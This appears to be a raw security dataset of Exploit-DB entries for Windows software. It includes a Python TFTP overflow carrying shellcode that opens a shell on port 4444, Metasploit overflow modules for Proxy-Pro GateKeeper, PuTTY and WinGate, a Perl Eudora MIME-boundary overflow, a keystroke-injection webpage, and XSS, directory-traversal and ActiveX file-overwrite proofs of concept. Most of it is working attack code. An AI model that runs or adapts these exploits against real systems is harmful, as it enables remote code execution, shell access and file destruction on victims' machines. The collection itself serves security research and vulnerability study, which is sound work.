deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9468
Description: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2009-08-18
Author: Wraith

Exploit:
#!/usr/bin/python

#ProSysInfo TFTP Server TFTPDWIN 0.4.2
#Coded by Wraith

import os
import sys
import struct
import socket
import time


print "\nProSysInfo TFTP Server TFTPDWIN 0.4.2"
print "Note: This vuln is sensitive to different buffer length\n"
 
if len(sys.argv)!=2:
        print "Usage: tftpdwin.py <ip>"
        sys.exit(0)


	
buffer = "\x00\x01\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
buffer += "\x8b\xc3\x66\x05\x12\x01\x50\xc3" + "\x90"*57

buffer += "\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64"
buffer += "\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C"
buffer += "\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77"
buffer += "\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60"
buffer += "\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF"
buffer += "\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7"
buffer += "\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B"
buffer += "\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4"
buffer += "\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3"
buffer += "\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4"
buffer += "\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44"
buffer += "\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50"
buffer += "\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90"
buffer += "\x42\xfb\x61\x40\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"


target = sys.argv[1]
def Connect(target):
	connect = "telnet " + target + " 4444"
	os.system(connect)
	
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
	s.sendto(buffer, (target,69))
	print "[*] Initiating Buffer Overflow"
	time.sleep(2)
	print "[*] Attempting Connection to Remote Host"
	time.sleep(2)
	print "[*] Please Wait...\n"
	time.sleep(3)
	Connect(target)
	print "\nClosing Remote Connection\n"
	sys.exit(0)
except:
	print "Goodbye\n"	

# milw0rm.com [2009-08-18]
Exploit-DB #50796
Description: Prowise Reflect v1.0.9 - Remote Keystroke Injection
Type: remote
Platform: windows
Date: 2022-03-02
Author: Rik Lutz

Exploit:
# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection
# Date: 30/10/2022
# Exploit Author: Rik Lutz
# Vendor Homepage: https://www.prowise.com/
# Version: V1.0.9
# Tested on: Windows 10

# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection. 
# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),
# or by visiting a malicious website. This POC contains the malicious webpage.
# Steps:
# 1. Start Prowise reflect
# 2. Try to connect to a reflect server e.q. ygm7u6od
# 3. When it is connecting click exploit
#   - Start menu will open, types notepad.exe and types hello world.

<!DOCTYPE HTML>

<html>
   <head>
      
<script type = "text/javascript">

function wait(ms){
	var start = new Date().getTime();
	var end = start;
	while(end < start + ms) {
		end = new Date().getTime();
	}
}

function WebSocketTest() {
	var StateConnecting = new Boolean(false);
	if ("WebSocket" in window) {               
		// Let us open a web socket
		var ws = new WebSocket("ws://localhost:8082");

		ws.onopen = function() {

			ws.send('{"event":"keyboard", "key":"super"}');		  
			wait(400);
			//character is slower
			// ws.send('{"event":"keyboard", "character":"notepad.exe"}'};
			
			// You can check for connecting state by sending {"event":"setupRTCConnection", "remoteName":"a"} if the response is {"event":"streamAvailable"} getIsConnecting == true
			var exploitcode = "notepad.exe"
			for (let i = 0; i < exploitcode.length; i++) {
				ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');
			} 
			
			wait(300);
			ws.send('{"event":"keyboard", "key":"enter"}');
			wait(2000);
			exploitcode = "Hello world!"
			
			for (let i = 0; i < exploitcode.length; i++) {
				ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');
			} 
			wait(200);
		};

		ws.onmessage = function (evt) { 
			var received_msg = evt.data;              
		};

		ws.onclose = function() { 

			// websocket is closed.
			alert("Connection is closed..."); 
		};
	} else {
		// The browser doesn't support WebSocket
		alert("WebSocket NOT supported by your Browser!");
	}
}
</script>
		
   </head>
   
   <body>
      <div id = "sse">
         <a href = "javascript:WebSocketTest()">Exploit!</a>
      </div>
      
   </body>
</html>
Exploit-DB #16692
Description: Proxy-Pro Professional GateKeeper 4.7 - GET Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: proxypro_http_get.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Proxy-Pro Professional
				GateKeeper 4.7. By sending a long HTTP GET to the default port
				of 3128, a remote attacker could overflow a buffer and execute
				arbitrary code.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2004-0326'],
					['OSVDB', '4027'],
					['BID', '9716'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00+&=%\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Feb 23 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(3128)
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit  = "GET /" + rand_text_english(3603, payload_badchars)
		sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
		sploit += "\xe9" + [-497].pack('V') +  " HTTP/1.0" + "\r\n\r\n"

		sock.put(sploit)
		sock.get_once(-1, 3)

		handler
		disconnect
	end

end
Exploit-DB #16463
Description: PuTTy.exe 0.53 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: putty_msg_debug.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PuTTy.exe <= v0.53 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the PuTTY SSH client that is triggered
				through a validation error in SSH.c.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2002-1359' ],
					[ 'OSVDB', '8044'],
					[ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
					[ 'BID', '6407'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'MaxNops'  => 0,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
					[ 'Windows XP SP2 English',   { 'Ret' => 0x76b43ae0 } ],
					[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 16 2002',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		buffer =
			"SSH-2.0-OpenSSH_3.6.1p2\r\n" +
			"\x00\x00\x4e\xec\x01\x14" +
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +
			(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +
			(((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +
			[target.ret].pack('V') + make_nops(10) + p.encoded +
			(((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
			(((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
			(((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
			(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +
			"\x00\x00\x00\x00\x00\x00"

		print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

		client.put(buffer)
		handler

		service.close_client(client)
	end

end
Exploit-DB #23451
Description: PY Software Active Webcam 4.3 - WebServer Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-12-19
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9261/info

A vulnerability has been reported to be present in the software that may allow a remote attacker to execute HTML or script code in a user's browser.

It has been reported that the problem arises when the software returns an error message to the user that may contain unsanitized data. The script code would run in the context of the user running the vulnerable software. 

http://www.example.com:8080/<script>alert('XSS example');</script>
Exploit-DB #23450
Description: PY Software Active Webcam 4.3 - WebServer Directory Traversal
Type: remote
Platform: windows
Date: 2003-12-19
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9260/info

It has been reported that Active Webcam webserver may be prone to a directory traversal vulnerability that may allow a remote attacker to gain access to sensitive information, which may be used to launch further attacks against a vulnerable system. The attacker may traverse outside the server root directory by using '../' or '..\' character sequences.

Active Webcam webserver versions 4.3 and prior released before December 17, 2003 are reported to be prone to this issue. 

http://www.example.com/../../../windows/system.ini
http://www.example.com/..\..\..\windows/system.ini
Exploit-DB #25207
Description: PY Software Active Webcam 4.3/5.5 - WebServer Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2005-03-10
Author: Sowhat

Exploit:
source: https://www.securityfocus.com/bid/12778/info

Active Webcam webserver is reported prone to multiple vulnerabilities. The following individual issues are reported:

The first issue, a denial of service is reported to manifest when a request is received for a file that exists on a floppy drive.

A remote attacker may exploit this issue to deny service for legitimate users.

A denial of service is reported to exist when the 'Filelist.html' file is requested.

A remote attacker may exploit this issue to deny service for legitimate users.

An installation path disclosure vulnerability is reported to affect Active Webcam. It is reported that a request for a non-existent file will result in an error message that contains the installation path of the software.

A remote attacker may exploit this issue to gain information regarding the filesystem on a target computer.

An information disclosure vulnerability is reported to affect Active Webcam. It is reported that this vulnerability exists because different error messages are returned to a request for a file depending on whether the file exists or not.

A remote attacker may exploit this issue to gain information regarding the filesystem on a target computer. 

http://www.example.com:8080/Filelist.html
http://www.example.com:8080/A:\a.txt
http://www.example.com:8080/a
Exploit-DB #16690
Description: QBik WinGate WWW Proxy Server - URL Processing Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: qbik_wingate_wwwproxy.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Qbik WinGate version
				6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
				HTTP proxy service on port 80, a remote attacker could overflow
				a buffer and execute arbitrary code.
			},
			'Author'         => 'patrick',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2006-2926' ],
					[ 'OSVDB', '26214' ],
					[ 'BID', '18312' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Jun 07 2006',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80)
			], self.class)
	end

	def check
		connect
		sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
		banner = sock.get_once
		if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		buff = Rex::Text.rand_text_alphanumeric(3000)
		buff[1200, 1000] = payload.encoded # jmp here
		buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
		buff[2284, 4] = [target['Ret']].pack('V') #eip

		sploit  = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"

		sock.put(sploit)
		sock.get_once(-1, 3)

		handler
		disconnect
	end

end
Exploit-DB #21680
Description: Qualcomm Eudora 5 - MIME MultiPart Boundary Buffer Overflow
Type: remote
Platform: windows
Date: 2002-08-05
Author: Kanatoko

Exploit:
source: https://www.securityfocus.com/bid/5397/info

A buffer overflow vulnerability has been reported in Qualcomm's Eudora mail client for Windows systems. The condition occurs if a MIME multipart boundary is of excessive length. Remote attackers may exploit this vulnerability to execute arbitrary code.

#!/usr/local/bin/perl

#---------------------------------------------------------------------
# Eudora Version 5.0.2-Jr2 exploit for Japanese Windows 2000 Pro (SP2)
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#---------------------------------------------------------------------

use Socket;

$connect_host   = 'mail.jumperz.net';
$port           = 25;
$env_from       = 'anvil@jumperz.net';
$env_to         = 'target@jumperz.net';
$from           = 'anvil@jumperz.net';
$to             = 'target@jumperz.net';

$iaddr = inet_aton($connect_host) || die "Host Resolve Error.\n";
$sock_addr = pack_sockaddr_in($port,$iaddr);
socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n";
connect(SOCKET,$sock_addr) || die "Connect Error\n";
select(SOCKET); $|=1; select(STDOUT);

        #egg written by UNYUN (http://www.shadowpenguin.org/)
        #57bytes
$egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$buf  = "\x90" x 121;
$buf .= $egg;
$buf .= "\xEB\xA0"; #JMP -0x60
$buf .= "A" x 2;
$buf .= "\x97\xAC\xE3\x77"; #0x77e3ac97 JMP EBX in user32.dll

$hoge = <SOCKET>;
print SOCKET "HELO hoge\x0D\x0A";
$hoge = <SOCKET>;
print SOCKET "MAIL FROM:<$env_from>\x0D\x0A";
$hoge = <SOCKET>;
print SOCKET "RCPT TO:<$env_to>\x0D\x0A";
$hoge = <SOCKET>;
print SOCKET "DATA\x0D\x0A";
$hoge = <SOCKET>;

print SOCKET << "_EOD_";
MIME-Version: 1.0\x0D
>From: $from\x0D
To: $to\x0D
Content-Type: multipart/mixed; boundary="$buf"\x0D
\x0D
.\x0D
_EOD_
$hoge = <SOCKET>;
print SOCKET "QUIT\x0D\x0A";
$hoge = <SOCKET>;
Exploit-DB #20688
Description: Qualcomm Eudora 5.0.2 - 'Use Microsoft Viewer' Code Execution
Type: remote
Platform: windows
Date: 2001-03-18
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/2490/info

Eudora uses Internet Explorer to assist in the viewing of html messages if the 'Use Microsoft Viewer' option is enabled. Eudora also has a 'allow executables in HTML content' option, which the documentation recommends be disabled for securithy reasons. It is possible for an attacker to excecute arbitrary code on a remote system even if 'allow executables in HTML content' is disabled, if the 'Use Microsoft viewer' option is enabled. 

http://www.malware.com/you!DORA.txt
Exploit-DB #24098
Description: Qualcomm Eudora 6.x - Embedded Hyperlink URI Obfuscation
Type: remote
Platform: windows
Date: 2004-05-08
Author: Brett Glass

Exploit:
source: https://www.securityfocus.com/bid/10305/info

It has been reported that the Qualcomm Eudora MTA is prone to a URI obfuscation weakness that may hide the true contents of a link. The problem occurs when a user@location URI is formatted in such a way that a "^A" control character is located after the user value. The user value may then be appended with space characters to obfuscate status bar and mouseover details. It is said that, when doing a mouseover of such a URI, it will cause the status bar to only display the contents of the user value, not the entire link.

<a href="http://www.e-gold.com^A
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
@example.com/"><span lang=EN-US
style='mso-ansi-language:EN-US'>http://www.e-gold.com/alert</span></a><br>

Where example.com, reads egegold.com.
Exploit-DB #18703
Description: Quest Toad for Oracle Explain Plan Display ActiveX Control - 'QExplain2.dll 6.6.1.1115' Remote File Creation / Overwrite
Type: remote
Platform: windows
Date: 2012-04-05
Author: rgod

Exploit:
<!-- 
Quest Toad for Oracle Explain Plan Display ActiveX Control (QExplain2.dll 6.6.1.1115)
Remote File Creation / Overwrite 

vendor site: http://www.quest.com/
file tested: Quest_Toad-Development-Suite-for-Oracle_110R2.exe

CLSID: {F7014877-6F5A-4019-A3B2-74077F2AE126}
Progid: QExplain2.ExplainPlanDisplayX
Binary Path: C:\PROGRA~1\COMMON~1\QUESTS~1\QEXPLA~1.DLL
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True

rgod
-->
<!-- saved from url=(0014)about:internet --> 
<html>
<object classid='clsid:F7014877-6F5A-4019-A3B2-74077F2AE126' id='obj' width=640 height=480 />
</object>
<script>
try{
obj.SaveToFile("c:\\windows\\win.ini");
}catch(e){
}

try{
obj.SaveToFile("../../../../../../../../../../windows/win.ini");
}catch(e){
}
</script>
Exploit-DB #18704
Description: Quest vWorkspace 7.5 Connection Broker Client - ActiveX Control 'pnllmcli.dll 7.5.304.547' SaveMiniLaunchFile() Method Remote File Creation / Overwrite
Type: remote
Platform: windows
Date: 2012-04-05
Author: rgod

Exploit:
<!--
Quest vWorkspace 7.5 Connection Broker Client ActiveX Control (pnllmcli.dll 7.5.304.547) 
SaveMiniLaunchFile() Method Remote File Creation / Overwrite

ie7/8

vendor site: http://www.quest.com/
file tested: Quest_vWorkspace-75--32-bit_75.zip

Binary Path: C:\WINDOWS\system32\pnllmcli.dll
CLSID: {D9397163-A2DB-4A4A-B2C9-34E876AF2DFC}
Progid: PNLLM.Client.1
Safe For Initialization (Registry): True
Safe For Scripting (Registry): True

rgod
-->
<!-- saved from url=(0014)about:internet --> 
<html>
<script>
  var obj = new ActiveXObject("PNLLM.Client.1");
  obj.SaveMiniLaunchFile("","c:\\windows\\win.ini");
</script>